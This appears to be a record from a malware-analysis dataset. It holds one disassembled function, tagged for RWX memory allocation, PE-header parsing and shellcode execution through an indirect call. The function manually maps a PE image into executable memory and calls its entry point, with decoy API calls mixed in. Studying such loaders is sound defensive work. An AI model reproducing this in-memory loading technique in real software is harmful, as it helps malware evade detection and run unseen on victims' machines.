Function at 0x10001d60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x6ec
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], 0
call dword [sym.imp.ole32.dll_CoResumeClassObjects]
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x4c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x40
call fcn.100068a0
movzx eax, word [ebp - 0x4c]
cmp eax, 0x5a4d
jne 0x10002066
mov eax, 0x40
cmp eax, dword [ebp - 0x10]
jae 0x10001dd3
lea edx, [ebp - 0x6d4]
mov ecx, dword [ebp + 8]
add ecx, 0x40
mov eax, dword [ebp - 0x10]
sub eax, 0x40
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.100068a0
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x6d8], eax
mov eax, dword [ebp - 0x6d8]
lea ecx, [ebp - 0x144]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xf8
call fcn.100068a0
call dword [sym.imp.ole32.dll_CoGetCurrentProcess]
cmp dword [ebp - 0x144], 0x4550
jne 0x10002061
lea edx, [ebp - 0x2d4]
mov ecx, dword [ebp - 0x6d8]
add ecx, 0xf8
movzx eax, word [ebp - 0x13e]
imul eax, eax, 0x28
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.100068a0
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0xf4]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [esp + 8], 0x103000
mov dword [esp + 0xc], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0xc], 0
je 0x1000205c
call dword [sym.imp.USER32.dll_IsProcessDPIAware]
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 0x4c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x40
call fcn.100068a0
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x144]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xf8
call fcn.100068a0
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x10]
add edx, 0xf8
lea ecx, [ebp - 0x2d4]
movzx eax, word [ebp - 0x13e]
imul eax, eax, 0x28
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.100068a0
mov eax, 0x40
cmp eax, dword [ebp - 0x10]
jae 0x10001f22
mov edx, dword [ebp - 0xc]
add edx, 0x40
lea ecx, [ebp - 0x6d4]
mov eax, dword [ebp - 0x10]
sub eax, 0x40
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.100068a0
mov dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x6dc]
movzx ecx, word [ebp - 0x13e]
cmp eax, ecx
jge 0x10001fad
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x2d4]
imul edx, dword [ebp - 0x6dc], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x6e0], eax
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x2d4]
imul ecx, dword [ebp - 0x6dc], 0x28
add eax, ecx
add edx, dword [eax + 0xc]
mov ecx, dword [ebp - 0x6e0]
lea eax, [ebp - 0x2d4]
imul esi, dword [ebp - 0x6dc], 0x28
add eax, esi
mov eax, dword [eax + 0x10]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.100068a0
mov eax, dword [ebp - 0x6dc]
add eax, 1
mov dword [ebp - 0x6dc], eax
jmp 0x10001f2c
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.10002080
sub esp, 4
cmp eax, 0
jne 0x10001ff1
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x8000
call dword [sym.imp.KERNEL32.dll_VirtualFree]
sub esp, 0xc
mov dword [ebp - 0xc], 0
jmp 0x10002057
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.100021d0
sub esp, 4
cmp eax, 0
jne 0x10002035
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x8000
call dword [sym.imp.KERNEL32.dll_VirtualFree]
sub esp, 0xc
mov dword [ebp - 0xc], 0
jmp 0x10002052
lea ecx, [ebp - 0x144]
add ecx, 0x18
add ecx, 0x10
mov eax, dword [ecx]
add eax, dword [ebp - 0xc]
push 0
push 1
push dword [ebp - 0xc]
call eax
mov dword [ebp - 8], eax
jmp 0x10002057
jmp 0x1000205c
jmp 0x10002061
jmp 0x10002066
mov eax, dword [ebp - 0xc]
add esp, 0x6ec
pop esi
pop ebp
ret 4